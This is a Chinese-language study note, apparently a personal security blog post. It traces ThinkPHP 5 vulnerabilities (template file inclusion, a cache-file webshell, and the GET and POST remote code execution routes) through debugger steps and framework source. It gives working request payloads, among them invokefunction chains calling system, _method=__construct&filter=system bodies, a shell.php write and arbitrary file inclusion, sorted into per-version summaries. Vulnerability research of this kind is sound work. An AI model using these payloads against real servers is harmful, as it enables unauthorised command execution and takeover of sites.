Contents

ThinkPHP审计入门

跟一下Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合,记点笔记

tp5_LFI

本次漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.185.1.0<=ThinkPHP<=5.1.10

复现:

https://gitee.com/leonsec/images/raw/master/image-20210201220204182.png

application\index\controller\Index.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
    public function index()
    {
        $this->assign(request()->get());
        return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
    }
}

get获取的数组直接传入assign作为参数:

下断点可以看到此时$name数组的值

https://gitee.com/leonsec/images/raw/master/image-20210201222359735.png

跟进assign函数到thinkphp\library\think\View.phpView类的assign($name, $value = '')函数

然后使用array_merge函数将cacheFile: "aaa.jpg"合并入$this->data

https://gitee.com/leonsec/images/raw/master/image-20210201223230610.png

然后程序开始调用 fetch方法加载模板输出,跟进到thinkphp\library\think\View.phpfetch函数,因为$renderContent = false,所以$method='fetch'

https://gitee.com/leonsec/images/raw/master/image-20210201231539249.png

于是$this->engine->$method去调用模板引擎的fetch函数

单步调试到thinkphp\library\think\view\driver\Think.phpfetch函数

https://gitee.com/leonsec/images/raw/master/image-20210201231500668.png

可以看到如果模板存在,则继续调用$this->template->fetch,跟进到thinkphp\library\think\Template.phpfetch函数:

https://gitee.com/leonsec/images/raw/master/image-20210201232531569.png

然后将$vars赋值给$this->data,快速看看一下引用看到:

https://gitee.com/leonsec/images/raw/master/image-20210201232800557.png

这里的$cacheFile为:

https://gitee.com/leonsec/images/raw/master/image-20210201233116475.png

因为看到调用了$this->storage->read,所以在此处下个断点,继续单步调试跟进一下

https://gitee.com/leonsec/images/raw/master/image-20210201233226899.png

最后$vars传入了thinkphp\library\think\template\driver\File.phpFile类的read函数,这里存在extract变量覆盖,可以看到$cacheFile的值已经覆盖为了用户get传入的aaa.jpg,随后进行了include文件包含,造成了LFI

https://gitee.com/leonsec/images/raw/master/image-20210201233454758.png

tp5_RCE

本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

复现:

https://gitee.com/leonsec/images/raw/master/image-20210203085650963.png

https://gitee.com/leonsec/images/raw/master/image-20210203085739592.png

application\index\controller\Index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
        Cache::set("name",input("get.username"));
        return 'Cache success';
    }
}

首先看到input函数,使用get传参,键名为username

https://gitee.com/leonsec/images/raw/master/image-20210203090759323.png

然后看到Cache::set方法用于写入缓存,跟进后看到使用init方法实例化一个类,由Config类的get方法获取缓存的配置信息,然后调用connect方法去连接缓存:

https://gitee.com/leonsec/images/raw/master/image-20210203144926185.png

因为缓存默认配置$options['type']File,所以connect方法实际上是去实例化\think\cache\driver\File类,所以init方法中的self::$handler即为\think\cache\driver\File类实例,这样缓存将作为文件存储在runtime\cache\路径下,为写shell创造条件

https://gitee.com/leonsec/images/raw/master/image-20210203173711585.png

所以回到thinkphp\library\think\Cache.php中的set方法,self::init()->set($name, $value, $expire)即为调用\think\cache\driver\File类的set方法

return self::init()->set($name, $value, $expire);处下断点,单步调试跟进后跳到thinkphp\library\think\cache\driver\File.phpset方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
    public function set($name, $value, $expire = null)
    {
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $filename = $this->getCacheKey($name);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

可以看到缓存文件名由getCacheKey($name)获得,跟进后看到,缓存目录和文件名为$name也就是缓存类设置的键名的32位md5值,目录为前两位,剩余30位.php为缓存文件名:

https://gitee.com/leonsec/images/raw/master/image-20210203174831247.png

这里因为之前设置的键名为name,所以路径为:runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php

回到set方法,我们传入的$data没有经过其他处理,$this->options['data_compress']默认为false,所以也不会经过gzcompress的处理,然后经过拼接php头尾就调用file_put_contents写入缓存文件,所以这里经过CRLF注入可以绕过拼接的注释符

https://gitee.com/leonsec/images/raw/master/image-20210203182619502.png

但是这个洞的利用需要配合LFI使用,因为runtime目录与public同级,一般是访问不到的,并且需要知道$this->options['prefix']和缓存设置的键名,才能算出缓存文件名和目录,比较局限

tp5_RCE_get

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

payload:

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

复现:

https://gitee.com/leonsec/images/raw/master/image-20210204174058444.png

在没有开启强制路由、对控制器没有过滤的情况下,可以调用任意控制器和方法进行getshell

https://gitee.com/leonsec/images/raw/master/image-20210204182205446.png

thinkphp\library\think\route\dispatch\Module.php70行$controller处下断点,获取控制器名、获取操作名后转到thinkphp\library\think\App.phpApp类的run方法:

https://gitee.com/leonsec/images/raw/master/image-20210206091736102.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php 
     /**
     * 执行应用程序
     * @access public
     * @return Response
     * @throws Exception
     */
    public function run()
    {
        try {
            // 初始化应用
            $this->initialize();

            // 监听app_init
            $this->hook->listen('app_init');

            if ($this->bindModule) {
                // 模块/控制器绑定
                $this->route->bind($this->bindModule);
            } elseif ($this->config('app.auto_bind_module')) {
                // 入口自动绑定
                $name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
                if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
                    $this->route->bind($name);
                }
            }

            // 监听app_dispatch
            $this->hook->listen('app_dispatch');

            $dispatch = $this->dispatch;

            if (empty($dispatch)) {
                // 路由检测
                $dispatch = $this->routeCheck()->init();
            }

            // 记录当前调度信息
            $this->request->dispatch($dispatch);

            // 记录路由和请求信息
            if ($this->appDebug) {
                $this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
                $this->log('[ HEADER ] ' . var_export($this->request->header(), true));
                $this->log('[ PARAM ] ' . var_export($this->request->param(), true));
            }

            // 监听app_begin
            $this->hook->listen('app_begin');

            // 请求缓存检查
            $this->checkRequestCache(
                $this->config('request_cache'),
                $this->config('request_cache_expire'),
                $this->config('request_cache_except')
            );

            $data = null;
        } catch (HttpResponseException $exception) {
            $dispatch = null;
            $data     = $exception->getResponse();
        }

        $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
            return is_null($data) ? $dispatch->run() : $data;
        });

        $response = $this->middleware->dispatch($this->request);

        // 监听app_end
        $this->hook->listen('app_end', $response);

        return $response;
    }

然后调用thinkphp\library\think\route\Dispatch.phpDispatch类的run方法

https://gitee.com/leonsec/images/raw/master/image-20210206211752718.png

跟进后到执行$data = $this->exec();跳回到thinkphp\library\think\route\dispatch\Module.phpModule类的exec方法,可以看到最后调用了invokeReflectMethod反射类调用的方法

https://gitee.com/leonsec/images/raw/master/image-20210206213512536.png

进一步跟进,可以看到利用反射类调用Request类的input方法

https://gitee.com/leonsec/images/raw/master/image-20210206213634174.png

跳到thinkphp\library\think\Request.phpRequest类的filterValue方法,这里存在可控的call_user_func($filter, $value);

https://gitee.com/leonsec/images/raw/master/image-20210206214231106.png

最终达成rce,可见此漏洞成因为类、方法任意可控且未对控制器进行过滤

tp5_RCE_post

本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.235.1.0<=ThinkPHP<=5.1.30

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

复现:

composer安装的tp5.0.23不带captcha模块

自己装一下captcha:

1
2
composer require topthink/think-captcha 1.*
# tp5.0的版本是使用1.*,tp5.1的版本是使用2.*

然后在application\config.php中添加:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    //验证码配置
    'captcha' => [
        //验证码的字符集
        'codeSet' => '23456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
        //设置验证码大小
        'fontSize' => 18,
        //添加混淆曲线
        'useCurve' => false,
        //设置图片的高度、宽度
        'imageW' => 150,
        'imageH' => 35,
        //验证码位数
        'length' =>4,
        //验证成功后重置
        'reset' =>true
    ],

即可

https://gitee.com/leonsec/images/raw/master/image-20210207123036989.png

这里s只需要赋值为一个存在的method路由即可

在tp5.0.24修复了这个漏洞,可以参考https://github.com/top-think/framework/compare/v5.0.23...v5.0.24

主要修改了Request类的method方法

https://gitee.com/leonsec/images/raw/master/image-20210207125023765.png

看到thinkphp\library\think\Request.phpRequest类的method方法,Config::get('var_method')中的var_method是表单请求类型伪装变量,可在application/config.php中看到其值为_method

https://gitee.com/leonsec/images/raw/master/image-20210207144443122.png

所以可通过指定_method来调用该类下的任意函数,这里将Request类下的$method的值覆盖为__construct了,于是去调用Request类的__construct方法:

https://gitee.com/leonsec/images/raw/master/image-20210207143241828.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php 
    protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

可以看到构造函数中用foreach遍历$POST提交的数据,接着使用property_exists()检测当前类是否具有该属性,如果存在则赋值,这里存在变量覆盖,且参数用户可控

Request 类的所有属性如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
protected $get                  protected static $instance;
protected $post                 protected $method;
protected $request              protected $domain;
protected $route                protected $url;
protected $put;                 protected $baseUrl;
protected $session              protected $baseFile;
protected $file                 protected $root;
protected $cookie               protected $pathinfo;
protected $server               protected $path;
protected $header               protected $routeInfo 
protected $mimeType             protected $env;
protected $content;             protected $dispatch 
protected $filter;              protected $module;
protected static $hook          protected $controller;
protected $bind                 protected $action;
protected $input;               protected $langset;
protected $cache;               protected $param   
protected $isCheckCache;    

filter[]=system&method=get&get[]=whoami作用就是把当前Request类下的$filter覆盖为system$method覆盖为get$get覆盖为whoami

https://gitee.com/leonsec/images/raw/master/image-20210207155705759.png

随后会对$method进行检查,在thinkphp\library\think\Route.phpcheck函数,在这里$rules的定义为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    private static $rules = [
        'GET'     => [],
        'POST'    => [],
        'PUT'     => [],
        'DELETE'  => [],
        'PATCH'   => [],
        'HEAD'    => [],
        'OPTIONS' => [],
        '*'       => [],
        'alias'   => [],
        'domain'  => [],
        'pattern' => [],
        'name'    => [],
    ];

tp5.0.8之前,如果前面不覆盖$method的值为get,那么这里就会变为:self::$rules['__construct'],就会直接报错

tp5.0.8之前:

1
$rules = self::$rules[$method];

tp5.0.8之后:

https://gitee.com/leonsec/images/raw/master/image-20210207155916824.png

所以tp5.0.8tp5.0.12的payload都可以为:

1
2
3
POST /
_method=__construct&filter=system&get[]=whoami
_method=__construct&filter=system&leon=whoami

tp5.0.13及以后版本中,thinkphp/library/think/App.php中的module()多了一行过滤:

1
2
// 设置默认过滤机制
$request->filter($config['default_filter']);

这也是为什么上面的exp只适用与tp5.0.8tp5.0.12的原因,我们直接对public/index.php访问默认调用的模块名/控制器名/操作名/index/index/index,默认对应的$dispatch['type']module,跟进到后面会进入thinkphp\library\think\App.phpexec方法,这里有switch ($dispatch['type'])选择调用对应的方法:

https://gitee.com/leonsec/images/raw/master/image-20210207164322433.png

继续跟进,进入到module(),关键在self::invokeMethod($call, $vars);,跟进到invokeMethod方法后继续调用了self::bindParams($reflect, $vars);

https://gitee.com/leonsec/images/raw/master/image-20210207165156735.png

继续跟进到Request类的param方法,用于获取当前请求的参数,可以看到又调用了method()获取当前请求方法

https://gitee.com/leonsec/images/raw/master/image-20210207165325872.png

继续跟进,获取参数后会调用array_merge($this->get(false), $vars, $this->route(false));get[]route[]$_POST获取的参数进行合并,那么可以变量覆盖传参,也可以直接POST传参

所以_method=__construct&filter=system&leon=whoami也可以

https://gitee.com/leonsec/images/raw/master/image-20210207170609425.png

然后调用input方法,之前的分析已经知道该方法会调用filterValue的回调函数进行命令执行了

这是tp5.0.12以及之前版本的分析

到了tp5.0.13以后,前面说了module方法中添加了过滤$request->filter($config['default_filter']);

再次将$filter覆盖掉,链子就断掉了

所以要想办法绕过module方法,在调试中发现:

https://gitee.com/leonsec/images/raw/master/image-20210207171606188.png

如果开启了debug模式,在执行thinkphp\library\think\App.php中的run方法时,会去调用$request->param(),这样就又回到了input方法进而达成RCE,这里在$filter被二次覆盖之前调用了一次param(),这也是有些时侯有两个命令执行的回显的原因

如果没开启debug模式呢?执行module函数是根据$dispatch的类型来决定的,在完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中:

1
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

对应的$dispatch['type']method,路由限定了请求类型为get

https://gitee.com/leonsec/images/raw/master/image-20210207172422145.png

这里进入了case 'method'

1
2
3
4
case 'method': // 回调方法
    $vars = array_merge(Request::instance()->param(), $dispatch['var']);
    $data = self::invokeMethod($dispatch['method'], $vars);
    break;

然后又调用了Request::instance()->param(),进而调用了filterValuecall_user_func达成RCE

tp5.0.21开始,Request类的method方法有改动:

tp5.0.21前:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php  
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
        ...
        return $this->method;
    }

tp5.0.21后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
        ...
        return $this->method;
    }

可以看到tp5.0.21之后通过server()函数获取请求方法,并且其中调用了input()函数,所以只要能进入server()函数也可以造成代码执行:

1
2
3
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

https://gitee.com/leonsec/images/raw/master/image-20210207175530154.png

现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如leon=whoami任意参数名来传递了

route()函数里param[]又被二次覆盖了,所以还剩下get[]route[]

小结

tp5.0.0tp5.0.12

1
2
3
4
POST / HTTP/1.1

_method=__construct&filter=system&method=GET&leon=whoami
#leon可以替换成get[]、route[]等

tp5.0.13tp5.0.23:有第三方类库如captcha

1
2
3
4
5
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]

tp5.0.13tp5.0.23:开启了debug模式

1
2
3
4
5
POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]